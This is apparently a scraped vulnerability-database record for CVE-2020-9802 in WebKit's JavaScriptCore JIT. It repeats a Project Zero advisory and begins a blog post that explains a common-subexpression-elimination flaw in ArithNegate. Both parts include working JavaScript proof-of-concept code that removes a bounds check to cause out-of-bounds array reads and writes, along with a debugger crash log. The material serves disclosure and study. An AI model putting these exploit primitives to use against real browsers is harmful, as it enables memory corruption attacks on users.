This can then be exploited to cause out-of-bounds accesses and potentially other memory safety violations. \n \n# Background: Common Subexpression Elimination \n \nConsider the following JS code: \n \nlet c = a + b; \nlet d = a + b; \n \nAssume further that a and b are 32 bit integer values, then a JS JIT compiler can convert the code to the following: \n \nlet c = a + b; \nlet d = c; \n \nAnd that way save one ArithAdd operation at runtime. This optimization is called Common Subexpression Elimination (CSE) [1]. \n \nNow, consider the following JS code instead: \n \nlet c = o.a; \nf(); \nlet d = o.a; \n \nHere, the compiler can not eliminate the 2nd property load operation during CSE as the function call in between could have changed the value of the .a property. \n \nThe modelling of whether an operation can be subject to CSE and under which circumstances is done in DFGClobberrize. For ArithAdd, DFGClobberize contains [2]: \n \ncase ArithAdd: \ndef(PureValue(node, node->arithMode())); \n \nPureValue here means that the computation does not rely on the context and thus that the computation performed on the same inputs will always yield the same result regardless of the context in which it executes. In contrast, for GetByOffset (which can be used for the property load), DFGClobberize contains [3]: \n \ncase GetByOffset: \nunsigned identifierNumber = node->storageAccessData().identifierNumber; \nAbstractHeap heap(NamedProperties, identifierNumber); \nread(heap); \ndef(HeapLocation(NamedPropertyLoc, heap, node->child2()), LazyNode(node)); \n \nThis in essense says that the value produced by this operation depends on the NamedProperty \\\"abstract heap\\\". As such, eliminating a 2nd GetByOffset is only sound if there are no writes to the NamedProperties abstract heap (i.e. to memory locations containing property values) between the two GetByOffset operations. \n \n# The Bug \n \nFor the ArithNegate operation, DFGClobberrize contains [4]: \n \ncase ArithNegate: \nif (node->child1().useKind() == Int32Use \n|| node->child1().useKind() == DoubleRepUse \n|| node->child1().useKind() == Int52RepUse) \ndef(PureValue(node)); \n \nThis states that if the inputs are known to be integers or doubles, then any two ArithNegate operations with the same input node can always be substituted for each other by CSE. \n \nHowever, the ArithNegate operation comes in different \\\"flavours\\\", for example as Checked or Unchecked negation [5], indicating whether the operation will perform an overflow check at runtime or not. To see why a Checked ArithNegate is usually necessary, consider the 32 bit integer negation of -2147483648, which, as it is INT_MIN, will again result in -2147483648. As this would normally be incorrect for a JavaScript value (in JS all numbers are supposed to behave as 64bit floating point values, so negating -2147483648 should become 2147483648), an overflow check normally has to be performed, and, if that fails, a bailout needs to happen. \n \nAs the modelling in DFGClobberrize does not include the ArithMode (Checked or Unchecked), the compiler will convert \n \nlet x = -i; // Without overflow check, -2147483648 again becomes -2147483648 \nlet y = -i; // With overflow check, -2147483648 causes a bailout due to overflow \n \ninto \n \nlet x = -i; // Without overflow check \nlet y = x; // Incorrect, didn't check for overflow! \n \nWhich is incorrect. \n \n# Triggering the Bug \n \nIt doesn't seem straight-forward to trigger the bug with two consecutive ArithNegate operations as the compiler seems to normally convert the inputs to doubles prior to the ArithNegate, thus not leading to issues as no overflow checks are required anyway. \n \nHowever, there is an interesting case in the IntegerRangeOptimization phase that can be used to trigger this bug. Given the following code: \n \nfunction f(n) { \n// Must not have a zero constant in this function due to this bug: https://bugs.webkit.org/show_bug.cgi?id=200018 \n \n// Force n to be a 32bit integer \nn &= 0xffffffff; \n \n// Teach the IntegerRangeOptimization that n will be a negative number inside the if \nif (n < -1) { \n// Force \\\"non-number bytecode usage\\\" so the negation becomes unchecked \nlet v = (-n)&0xffffffff; \n \n// As n is known to be negative here, this ArithAbs will become a ArithNegate. \n// That negation will be checked, but then be CSE'd for the previous, unchecked one... \nreturn Math.abs(n); \n} \n} \n \nHere is what will happen during DFG compilation: \n \nFirst, during the DFGFixup phase, the negation ((-n)&0xffffffff) is converted to an unchecked ArithNegate as the result is not used as a number but just a 32 bit integer, in which case an overflow is non observable [6]. \n \nNext, in the IntegerRangeOptimization the compiler marks n as being a negative number when inside the body of the if statement [7], then marks the output of the ArithAbs operation as being a positive number with this code [8] \n \ncase ArithAbs: { \nif (node->child1().useKind() != Int32Use) \nbreak; \nsetRelationship(Relationship(node, m_zero, Relationship::GreaterThan, -1)); \nbreak; \n \nAfterwards, still in the same phase, the ArithAbs is transformed by this code snippet [9]: \n \ncase ArithAbs: { \n...; \n \nif (maxValue < 0 || (absIsUnchecked && maxValue <= 0)) { \nnode->convertToArithNegate(); \n...; \n \nHere, as the input to the ArithAbs is known to be a negative number, the ArithAbs is replaced with a Checked (necessary to correctly handle the INT_MIN case) ArithNegate operation. \n \nFinally, the GlobalCSE phase runs and replaces the new, checked, ArithNegate with the previous, unchecked, ArithNegate operation. \nAt this point the emitted code behaves incorrectly when passed INT_MIN as input: \n \nf(-2147483648); \n// returns -2147483648 \n \n \n# Causing Memory Safety Violations \n \nIt is possible to exploit this bug to cause a memory safety violation by again abusing the IntegerRangeOptimization pass to incorrectly eliminate a bounds check. There may also exist other ways in which this bug can be exploited. \n \nThe following code leads to an out-of-bounds access on an array after being JIT compiled by DFG/FTL: \n \nconst ITERATIONS = 1000000; \n \nfunction f(n) { \n// Must not have a zero constant in this function due to this bug: https://bugs.webkit.org/show_bug.cgi?id=200018 \n \n// Force n to be a 32bit integer \nn &= 0xffffffff; \n \n// Teach the IntegerRangeOptimization that n will be a negative number inside the if \nif (n < -1) { \n// Force \\\"non-number bytecode usage\\\" so the negation becomes unchecked \nlet v = (-n)&0xffffffff; \n \n// As n is known to be negative here, this ArithAbs will become a ArithNegate. \n// That negation will be checked, but then be incorrectly CSE'd for the previous, unchecked one. \nlet i = Math.abs(n); \n \n// However, the IntegerRangeOptimization pass has also marked i as being >= 0... \n \nlet arr = new Array(10); \narr.fill(42.42); \n \nif (i < arr.length) { \n// .. so here IntegerRangeOptimization believes i will be in the range \n// [0, arr.length) and thus eliminates the CheckBounds node. \n// Howver, when given INT_MIN as input, i will, due to the bug, \n// actually also be INT_MIN here, thus leading to an OOB access. \nreturn arr[i]; \n} \n} \n} \n \nfor (let i = 0; i < ITERATIONS; i++) { \nlet isLastIteration = i == ITERATIONS - 1; \nlet n = -(i % 10); \nif (isLastIteration) { \nn = -2147483648; \n} \nf(n); \n} \n \n/* \nlldb -- /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js \n(lldb) r \nProcess 12237 launched: '/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc' (x86_64) \nProcess 12237 stopped \n* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1c1fc61348) \nframe #0: 0x000051fcfaa06f2e \n-> 0x51fcfaa06f2e: movsd xmm0, qword ptr [rax + 8*rcx] ; xmm0 = mem[0],zero \n0x51fcfaa06f33: ucomisd xmm0, xmm0 \n0x51fcfaa06f37: jp 0x51fcfaa0707f \n0x51fcfaa06f3d: movq rax, xmm0 \nTarget 0: (jsc) stopped. \n(lldb) reg read rcx \nrcx = 0x0000000080000000 \n*/ \n \nThe main trick here is to use an additional if conditional to trick the IntegerRangeOptimization into removing a CheckBounds node as it (correctly) believes that the result of ArithAbs must be a positive integer. However, due to the incorrect CSE, the result of ArithAbs will actually be INT_MIN in the last iteration, thus causing an out-of-bounds access. It is probably also possible to modify the code in such a way that the out-of-bounds access happens with an index other than INT_MIN. \n \nNote that the above PoC does not always crash as JSC seems to allocate huge memory regions, causing the OOB array access to sometimes still land in mapped memory. \n \nIt is probably worth checking other operations for similar bugs in DFGClobberize. For example, ArithAbs looks like it might suffer from a very similar bug. \n \nThis bug is subject to a 90 day disclosure deadline. After 90 days elapse, \nthe bug report will become visible to the public. The scheduled disclosure \ndate is 2020-06-03. Disclosure at an earlier date is also possible if \nagreed upon by all parties. \n \n[1] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGCSEPhase.cpp \n[2] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGClobberize.h#L391 \n[3] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGClobberize.h#L1252 \n[4] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGClobberize.h#L247 \n[5] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp#L4653 \n[6] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGFixupPhase.cpp#L392 \n[7] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp#L1124 \n[8] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp#L1389 \n[9] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp#L1240 \n \nRelated CVE Numbers: CVE-2020-9802Fixed-2020-May-20. \n \n \n \nFound by: saelo@google.com \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/157926/GS20200603161426.txt"}], "alpinelinux": [{"lastseen": "2023-06-23T11:06:14", "description": "A logic issue was addressed with improved restrictions.

For ArithAdd, DFGClobberize contains [2]:\n\n case ArithAdd:\n def(PureValue(node, node->arithMode()));\n\nPureValue here means that the computation does not rely on the context and thus that the computation performed on the same inputs will always yield the same result regardless of the context in which it executes. In contrast, for GetByOffset (which can be used for the property load), DFGClobberize contains [3]:\n\n case GetByOffset:\n unsigned identifierNumber = node->storageAccessData().identifierNumber;\n AbstractHeap heap(NamedProperties, identifierNumber);\n read(heap);\n def(HeapLocation(NamedPropertyLoc, heap, node->child2()), LazyNode(node));\n\nThis in essense says that the value produced by this operation depends on the NamedProperty \\\"abstract heap\\\". As such, eliminating a 2nd GetByOffset is only sound if there are no writes to the NamedProperties abstract heap (i.e. to memory locations containing property values) between the two GetByOffset operations.\n\n# The Bug\n\nFor the ArithNegate operation, DFGClobberrize contains [4]:\n\n case ArithNegate:\n if (node->child1().useKind() == Int32Use\n || node->child1().useKind() == DoubleRepUse\n || node->child1().useKind() == Int52RepUse)\n def(PureValue(node));\n\nThis states that if the inputs are known to be integers or doubles, then any two ArithNegate operations with the same input node can always be substituted for each other by CSE.\n\nHowever, the ArithNegate operation comes in different \\\"flavours\\\", for example as Checked or Unchecked negation [5], indicating whether the operation will perform an overflow check at runtime or not. To see why a Checked ArithNegate is usually necessary, consider the 32 bit integer negation of -2147483648, which, as it is INT_MIN, will again result in -2147483648. As this would normally be incorrect for a JavaScript value (in JS all numbers are supposed to behave as 64bit floating point values, so negating -2147483648 should become 2147483648), an overflow check normally has to be performed, and, if that fails, a bailout needs to happen.\n\nAs the modelling in DFGClobberrize does not include the ArithMode (Checked or Unchecked), the compiler will convert\n\n let x = -i; // Without overflow check, -2147483648 again becomes -2147483648\n let y = -i; // With overflow check, -2147483648 causes a bailout due to overflow\n\ninto\n\n let x = -i; // Without overflow check\n let y = x; // Incorrect, didn't check for overflow!\n\nWhich is incorrect.\n\n# Triggering the Bug\n\nIt doesn't seem straight-forward to trigger the bug with two consecutive ArithNegate operations as the compiler seems to normally convert the inputs to doubles prior to the ArithNegate, thus not leading to issues as no overflow checks are required anyway.\n\nHowever, there is an interesting case in the IntegerRangeOptimization phase that can be used to trigger this bug. Given the following code:\n\n function f(n) {\n // Must not have a zero constant in this function due to this bug: https://bugs.webkit.org/show_bug.cgi?id=200018\n\n // Force n to be a 32bit integer\n n &= 0xffffffff;\n\n // Teach the IntegerRangeOptimization that n will be a negative number inside the if\n if (n < -1) {\n // Force \\\"non-number bytecode usage\\\" so the negation becomes unchecked\n let v = (-n)&0xffffffff;\n\n // As n is known to be negative here, this ArithAbs will become a ArithNegate.\n // That negation will be checked, but then be CSE'd for the previous, unchecked one...\n return Math.abs(n);\n }\n }\n\nHere is what will happen during DFG compilation:\n\nFirst, during the DFGFixup phase, the negation ((-n)&0xffffffff) is converted to an unchecked ArithNegate as the result is not used as a number but just a 32 bit integer, in which case an overflow is non observable [6].\n\nNext, in the IntegerRangeOptimization the compiler marks n as being a negative number when inside the body of the if statement [7], then marks the output of the ArithAbs operation as being a positive number with this code [8]\n\n case ArithAbs: {\n if (node->child1().useKind() != Int32Use)\n break;\n setRelationship(Relationship(node, m_zero, Relationship::GreaterThan, -1));\n break;\n\nAfterwards, still in the same phase, the ArithAbs is transformed by this code snippet [9]:\n\n case ArithAbs: {\n ...;\n\n if (maxValue < 0 || (absIsUnchecked && maxValue <= 0)) {\n node->convertToArithNegate();\n ...;\n\nHere, as the input to the ArithAbs is known to be a negative number, the ArithAbs is replaced with a Checked (necessary to correctly handle the INT_MIN case) ArithNegate operation.\n\nFinally, the GlobalCSE phase runs and replaces the new, checked, ArithNegate with the previous, unchecked, ArithNegate operation.\nAt this point the emitted code behaves incorrectly when passed INT_MIN as input:\n\n f(-2147483648);\n // returns -2147483648\n\n\n# Causing Memory Safety Violations\n\nIt is possible to exploit this bug to cause a memory safety violation by again abusing the IntegerRangeOptimization pass to incorrectly eliminate a bounds check. There may also exist other ways in which this bug can be exploited.\n\nThe following code leads to an out-of-bounds access on an array after being JIT compiled by DFG/FTL:\n\n const ITERATIONS = 1000000;\n\n function f(n) {\n // Must not have a zero constant in this function due to this bug: https://bugs.webkit.org/show_bug.cgi?id=200018\n\n // Force n to be a 32bit integer\n n &= 0xffffffff;\n\n // Teach the IntegerRangeOptimization that n will be a negative number inside the if\n if (n < -1) {\n // Force \\\"non-number bytecode usage\\\" so the negation becomes unchecked\n let v = (-n)&0xffffffff;\n\n // As n is known to be negative here, this ArithAbs will become a ArithNegate.\n // That negation will be checked, but then be incorrectly CSE'd for the previous, unchecked one.\n let i = Math.abs(n);\n\n // However, the IntegerRangeOptimization pass has also marked i as being >= 0...\n\n let arr = new Array(10);\n arr.fill(42.42);\n\n if (i < arr.length) {\n // .. so here IntegerRangeOptimization believes i will be in the range\n // [0, arr.length) and thus eliminates the CheckBounds node.\n // Howver, when given INT_MIN as input, i will, due to the bug,\n // actually also be INT_MIN here, thus leading to an OOB access.\n return arr[i];\n }\n }\n }\n\n for (let i = 0; i < ITERATIONS; i++) {\n let isLastIteration = i == ITERATIONS - 1;\n let n = -(i % 10);\n if (isLastIteration) {\n n = -2147483648;\n }\n f(n);\n }\n\n /*\n lldb -- /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js\n (lldb) r\n Process 12237 launched: '/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc' (x86_64)\n Process 12237 stopped\n * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1c1fc61348)\n frame #0: 0x000051fcfaa06f2e\n -> 0x51fcfaa06f2e: movsd xmm0, qword ptr [rax + 8*rcx] ; xmm0 = mem[0],zero\n 0x51fcfaa06f33: ucomisd xmm0, xmm0\n 0x51fcfaa06f37: jp 0x51fcfaa0707f\n 0x51fcfaa06f3d: movq rax, xmm0\n Target 0: (jsc) stopped.\n (lldb) reg read rcx\n rcx = 0x0000000080000000\n */\n\nThe main trick here is to use an additional if conditional to trick the IntegerRangeOptimization into removing a CheckBounds node as it (correctly) believes that the result of ArithAbs must be a positive integer. However, due to the incorrect CSE, the result of ArithAbs will actually be INT_MIN in the last iteration, thus causing an out-of-bounds access. It is probably also possible to modify the code in such a way that the out-of-bounds access happens with an index other than INT_MIN.\n\nNote that the above PoC does not always crash as JSC seems to allocate huge memory regions, causing the OOB array access to sometimes still land in mapped memory.\n\nIt is probably worth checking other operations for similar bugs in DFGClobberize. For example, ArithAbs looks like it might suffer from a very similar bug.\n\nThis bug is subject to a 90 day disclosure deadline. After 90 days elapse,\nthe bug report will become visible to the public. The scheduled disclosure\ndate is 2020-06-03. Disclosure at an earlier date is also possible if\nagreed upon by all parties.\n\n[1] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGCSEPhase.cpp\n[2] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGClobberize.h#L391\n[3] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGClobberize.h#L1252\n[4] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGClobberize.h#L247\n[5] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp#L4653\n[6] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGFixupPhase.cpp#L392\n[7] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp#L1124\n[8] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp#L1389\n[9] https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp#L1240\n\nRelated CVE Numbers: CVE-2020-9802Fixed-2020-May-20.\n\n\n\nFound by: [email\u00a0protected]\n", "sourceHref": "https://0day.today/exploit/34510", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "googleprojectzero": [{"lastseen": "2023-06-07T02:00:28", "description": "By Samuel Gro\u00df, Project Zero\n\n \n\n\nThis three-part series highlights the technical challenges involved in finding and exploiting JavaScript engine vulnerabilities in modern web browsers and evaluates current exploit mitigation technologies. The exploited vulnerability, CVE-2020-9802, was fixed in iOS 13.5, while two of the mitigation bypasses, CVE-2020-9870 and CVE-2020-9910, were fixed in iOS 13.6.\n\n \n\n\n==========\n\n \n\n\nHow might a browser renderer exploit look like in 2020? I set out to answer that question in January this year. Since it\u2019s one of my favorite areas in computer science, I wanted to find a JIT compiler vulnerability, and I was especially interested in trying to find (new) types of vulnerabilities that [my fuzzer](<https://github.com/googleprojectzero/fuzzilli>) would have a hard time finding.\n\n** \n**\n\nAs WebKit (on iOS and likely soon on ARM-powered macOS) arguably features the most sophisticated exploit mitigations at present, including hardware supported mitigations like [PAC](<https://support.apple.com/guide/security/pointer-authentication-codes-seca5759bf02/web>) and [APRR](<https://siguza.github.io/APRR/>), it seemed fitting to focus on WebKit, or in fact JavaScriptCore (JSC), its JavaScript engine.\n\n** \n**\n\nThis blog post series will:\n\n * Provide a short introduction to JIT engines and in particular the Common-Subexpression Elimination (CSE) optimization\n\n * Explain a JIT compiler vulnerability - [CVE-2020-9802](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2020>) \\- stemming from incorrect CSE and how it can be exploited for an out-of-bounds read or write on the JSC heap\n\n * Provide an in depth discussion of WebKit\u2019s renderer exploit mitigations on iOS, in particular: StructureID randomization, the Gigacage, Pointer Authentication (PAC) and JIT Hardening on top of APRR (essentially per-thread page permissions), how they work, potential weaknesses, and how they were bypassed during exploit development\n\n** \n**\n\nThe proof of concept exploit code accompanying this blog post series can be found [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2020#c4>). It was tested against Mobile Safari on iOS 13.4.1 and Safari 13.1 on macOS 10.15.4.\n\n** \n**\n\nThis series strives to be understandable for security researchers and engineers without strong backgrounds in browser exploitation. It also attempts to explain the various JIT compilation mechanisms used (and abused) for exploit development. However, it should be noted that JIT compilers are likely among the most complex attack surfaces of a web browser (and that the exploited vulnerability is likely particularly complex), and are thus not particularly beginner friendly. On the other hand, the vulnerabilities found therein are also frequently among the most powerful ones, with a good chance to stay exploitable for quite some time to come.\n\n## Introduction\n\nAs there are by now [many good public](<https://ponyfoo.com/articles/an-introduction-to-speculative-optimization-in-v8>) [resources on JIT compilers](<https://webkit.org/blog/10308/speculation-in-javascriptcore/>), this section only provides a brief 2 minute introduction/refresher to JavaScript JITing.\n\n** \n**\n\nTake the following JavaScript code:\n\n** \n**\n\nfunction foo(o, y) {\n\nlet x = o.x;\n\nreturn x + y;\n\n}\n\n** \n**\n\nfor (let i = 0; i < 10000; i++) {\n\nfoo({x: i}, 42);\n\n}\n\n** \n**\n\nAs JIT compilation is costly, it is only performed for code that is repeatedly executed. As such, the function foo will execute inside the interpreter (or a cheap \u201cbaseline\u201d JIT) for some time. During that time, value profiles will be collected, which, for foo, would look something like this:\n\n** \n**\n\n * o: JSObject with a property .x at offset 16\n\n * x: Int32\n\n * y: Int32\n\n** \n**\n\nLater, when the optimizing JIT compiler eventually kicks in, it starts by translating the JavaScript source code (or, more likely the interpreter bytecode) into the JIT compiler\u2019s own intermediate code representation. In the [DFG](<https://github.com/WebKit/webkit/tree/master/Source/JavaScriptCore/dfg>), JavaScriptCore\u2019s optimizing JIT compiler, this is done by the [DFGByteCodeParser](<https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp>).\n\n** \n**\n\nThe function foo in DFG IR might initially look something like this:\n\n** \n**\n\nv0 = GetById o, .x\n\nv1 = ValueAdd v0, y\n\nReturn v1\n\n** \n**\n\nHere, GetById and ValueAdd are fairly generic (or high-level) operations, capable of handling different input types (e.g. ValueAdd would also be able to concatenate strings).\n\n** \n**\n\nNext, the JIT compiler inspects the value profiles and, based on them, will speculate that similar input types will be used in the future. Here, it would speculate that o would always be a certain kind of JSObject and x and y Int32s. However, as there is no guarantee the speculations will always be true, the compiler has to guard the speculations, typically with cheap runtime type checks:\n\n** \n**\n\nCheckType o, \u201cObject with property .x at offset 16\u201d\n\nCheckType y, Int32\n\nv0 = GetByOffset o, 16\n\nCheckType v0, Int32\n\nv1 = ArithAdd v0, y\n\nReturn v1\n\n** \n**\n\nAlso note how the GetById and ValueAdd have been specialized to the more efficient (and less generic) GetByOffset and ArithAdd operations. In DFG, this speculative optimization happens in multiple places, [for example, already in DFGByteCodeParser](<https://github.com/WebKit/webkit/blob/d66fd3786d65b41f8b607269d048fdb143fbfeca/Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp#L4471>).\n\n** \n**\n\nAt this point, the IR code is essentially typed as the speculation guards allow type inference. Next, numerous code optimizations are performed, such as loop-invariant code motion or constant folding. An overview of the optimizations done by DFG can be extracted from [DFGPlan](<https://github.com/WebKit/webkit/blob/0f0dc120efaba5da477f725ef698ee51d0f16b1f/Source/JavaScriptCore/dfg/DFGPlan.cpp#L239>).\n\n** \n**\n\nFinally, the now-optimized IR is lowered to machine code. In DFG this is done directly by the [DFGSpeculativeJIT](<https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp>) while in [FTL](<https://trac.webkit.org/wiki/FTLJIT>) mode the DFG IR is [first lowered to B3](<https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp>), another IR, which undergoes further optimizations before itself being [lowered to machine code](<https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/b3/B3Compile.cpp>).\n\n** \n**\n\nNext up, a specific optimization Common-Subexpression Elimination (CSE) is discussed.\n\n## Common-Subexpression Elimination (CSE)\n\nThe idea behind this optimization is to detect duplicate computations (or expressions) and to merge them into a single computation. As an example, consider the following JavaScript code:\n\n** \n**\n\nlet c = Math.sqrt(a*a + a*a);\n\n** \n**\n\nAssume further that a and b are known to be [primitive values](<https://www.ecma-international.org/ecma-262/10.0/index.html#sec-ecmascript-overview>) (e.g. Numbers), then a JavaScript JIT compiler can convert the code to the following:\n\n** \n**\n\nlet tmp = a*a;\n\nlet c = Math.sqrt(tmp + tmp);\n\n** \n**\n\nAnd by doing so save one ArithMul operation at runtime. This optimization is called Common Subexpression Elimination (CSE).\n\n** \n**\n\nNow, take the following JavaScript code instead:\n\n** \n**\n\nlet c = o.a;\n\nf();\n\nlet d = o.a;\n\n** \n**\n\nHere, the compiler can not eliminate the second property load operation during CSE as the function call in between could have changed the value of the .a property.\n\n** \n**\n\nIn JSC, the modelling of whether an operation can be subject to CSE (and under which circumstances) is done in DFGClobberize. For ArithMul, [DFGClobberize states](<https://github.com/WebKit/webkit/blob/4a1c8cf6db8dd033362305fc2f861f6e36c0bd14/Source/JavaScriptCore/dfg/DFGClobberize.h#L427>):\n\n** \n**\n\ncase ArithMul:\n\nswitch (node->binaryUseKind()) {\n\ncase Int32Use:\n\ncase Int52RepUse:\n\ncase DoubleRepUse:\n\ndef(PureValue(node, node->arithMode()));\n\nreturn;\n\ncase UntypedUse:\n\nclobberTop();\n\nreturn;\n\ndefault:\n\nDFG_CRASH(graph, node, \"Bad use kind\");\n\n}\n\n** \n**\n\nThe def() of the PureValue here expresses that the computation does not rely on any context and thus that it will always yield the same result when given the same inputs. However, note that the PureValue is [parameterized](<https://github.com/WebKit/webkit/blob/88e37615aef2192e184012bf25d8acfa0710c12c/Source/JavaScriptCore/dfg/DFGPureValue.h#L61>) by the [ArithMode](<https://github.com/WebKit/webkit/blob/88e37615aef2192e184012bf25d8acfa0710c12c/Source/JavaScriptCore/dfg/DFGArithMode.h#L41>) of the operation, which specifies whether the operation should handle (e.g. by bailing out to the interpreter) integer overflows or not. The parameterization in this case prevents two ArithMul operations with different handling of integer overflows from being substituted for each other. An operation that handles overflows is also commonly referred to as a \u201cchecked\u201d operation, and an \u201cunchecked\u201d operation is one that does not detect or handle overflows.\n\n** \n**\n\nIn contrast, for GetByOffset (which can be used for the property load), [DFGClobberize contains](<https://github.com/WebKit/webkit/blob/4a1c8cf6db8dd033362305fc2f861f6e36c0bd14/Source/JavaScriptCore/dfg/DFGClobberize.h#L1273>):\n\n** \n**\n\ncase GetByOffset:\n\nunsigned identifierNumber = node->storageAccessData().identifierNumber;\n\nAbstractHeap heap(NamedProperties, identifierNumber);\n\nread(heap);\n\ndef(HeapLocation(NamedPropertyLoc, heap, node->child2()), LazyNode(node));\n\n** \n**\n\nThis in essence says that the value produced by this operation depends on the NamedProperty \"[abstract heap](<https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/dfg/DFGAbstractHeap.h>)\". As such, eliminating a second GetByOffset is only sound if there are no writes to the NamedProperties abstract heap (i.e. to memory locations containing property values) between the two GetByOffset operations.\n\n## The Bug\n\n[DFGClobberize did not take the ArithMode of the ArithNegate operation into account](<https://github.com/WebKit/webkit/blob/2aabe9466e5be21468dcf84092e2ddff0d4e17a7/Source/JavaScriptCore/dfg/DFGClobberize.h#L251>):\n\n** \n**\n\ncase ArithNegate:\n\nif (node->child1().useKind() == Int32Use || ...)\n\ndef(PureValue(node)); // <\\- only the input matters, not the ArithMode\n\n** \n**\n\nThis could cause CSE to substitute a checked ArithNegate with an unchecked one. In the case of ArithNegate (a negation of a 32bit integer), an integer overflow can only occur in one specific situation: when negating INT_MIN: -2147483648. This is because 2147483648 is not representable as a 32 bit signed integer, and so -INT_MIN causes an integer overflow and again results in INT_MIN.\n\n** \n**\n\nThe bug was found by studying the CSE defs in DFGClobberize, thinking about why some PureValues (and which ones) needed to be parameterized with the ArithMode, then searching for cases where that parameterization was missing. \n\n** \n**\n\nThe [patch](<https://github.com/WebKit/webkit/commit/951d27d5ba08b6c29370b05dc6b4ffe18be1ca18>) for this bug is very simple:\n\n** \n**\n\n\\- def(PureValue(node));\n\n\\+ def(PureValue(node, node->arithMode()));\n\n** \n**\n\nThis now teaches CSE to take the arithMode (unchecked or checked) of an ArithNegate operation into account. As such, two ArithNegate operations with different modes can no longer be substituted for each other.\n\n** \n**\n\nIn addition to ArithNegate, DFGClobberize also missed the ArithMode for the ArithAbs operation.\n\n** \n**\n\nNote that this type of bug is likely very hard to detect through fuzzing as \n\n * the fuzzer would need to create two ArithNegate operations on the same inputs but with a different ArithMode,\n\n * the fuzzer would need to trigger the case where the difference in the ArithMode matters, which in this case means it would need to negate the value INT_MIN, and,\n\n * unless the engine has custom \u201csanitizers\u201d for detecting these types of issues early on and unless differential fuzzing is done, the fuzzer would then somehow still need to turn this condition into a memory safety violation or an assertion failure. As is shown in the next section, this step is likely the hardest and extremely unlikely to happen by chance\n\n## Achieving Out-Of-Bounds\n\nThe JavaScript function shown below achieves out-of-bounds access by an arbitrary index (in this case 7) into a JSArray through this bug:\n\n** \n**\n\nfunction hax(arr, n) {\n\nn |= 0;\n\nif (n < 0) {\n\nlet v = (-n)|0;\n\nlet i = Math.abs(n);\n\nif (i < arr.length) {\n\nif (i & 0x80000000) {\n\ni += -0x7ffffff9;\n\n}\n\nif (i > 0) {\n\narr[i] = 1.04380972981885e-310;\n\n}\n\n}\n\n}\n\n} \n\n** \n**\n\nThe following is a step-by-step explanation of how this PoC was constructed. At the end of this section there is also a commented version of the above function.\n\n** \n**\n\nFirst of all, ArithNegate is only used to negate integers (the more generic ValueNegate operation can negate all JavaScript values), but in the [JavaScript specification Numbers are generally floating point values](<https://www.ecma-international.org/ecma-262/10.0/index.html#sec-ecmascript-language-types-number-type>). As such it is necessary to \u201chint\u201d to the compiler that the input value will always be integer. This is easily accomplished by first performing a bitwise operation,[ which will always result in 32-bit signed integer values](<https://www.ecma-international.org/ecma-262/10.0/index.html#sec-binary-bitwise-operators-runtime-semantics-evaluation>):\n\n** \n**\n\nn = n|0; // n will be an integer value now\n\n** \n**\n\nWith that, it is now possible to construct an unchecked ArithNegate operation (with which a checked one will later be CSE\u2019d):\n\n** \n**\n\nn = n|0;\n\nlet v = 